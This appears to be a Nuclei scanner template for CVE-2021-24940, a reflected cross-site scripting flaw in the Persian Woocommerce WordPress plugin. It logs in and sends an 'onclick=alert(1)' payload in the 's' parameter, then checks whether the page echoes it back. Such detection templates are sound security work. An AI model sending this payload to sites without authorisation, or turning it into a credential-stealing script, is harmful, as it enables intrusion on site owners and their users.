id: CVE-2021-24940 info: name: WordPress Persian Woocommerce <=5.8.0 - Cross-Site Scripting author: daffainfo severity: medium description: | WordPress Persian Woocommerce plugin through 5.8.0 contains a cross-site scripting vulnerability. The plugin does not escape the s parameter before outputting it back in an attribute in the admin dashboard. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site and possibly steal cookie-based authentication credentials and launch other attacks. remediation: Fixed in 5.9.8. reference: - https://wpscan.com/vulnerability/1980c5ca-447d-4875-b542-9212cc7ff77f - https://nvd.nist.gov/vuln/detail/CVE-2021-24940 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-24940 cwe-id: CWE-79 epss-score: 0.00106 epss-percentile: 0.43048 cpe: cpe:2.3:a:woocommerce:persian-woocommerce:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: woocommerce product: persian-woocommerce framework: wordpress tags: wp,xss,authenticated,wpscan,cve,cve2021,wordpress,wp-plugin http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 - | GET /wp-admin/admin.php?page=persian-wc&s=xxxxx%22+accesskey%3DX+onclick%3Dalert%281%29+test%3D%22 HTTP/1.1 Host: {{Hostname}} cookie-reuse: true req-condition: true matchers: - type: dsl dsl: - contains(header_2, "text/html") - status_code_2 == 200 - contains(body_2, 'accesskey=X onclick=alert(1) test=') - contains(body_2, 'woocommerce_persian_translate') condition: and # digest: 4b0a00483046022100c3c26006c3accc3f3112a9c86de48a369f67d77cf5633d79a81bb65f8144f7f2022100f6c3fc2d4e1e7b52645f7b60f8bfa9c30c6464d170385ee603c783e99cad36a9:922c64590222798bb761d5b6d8e72950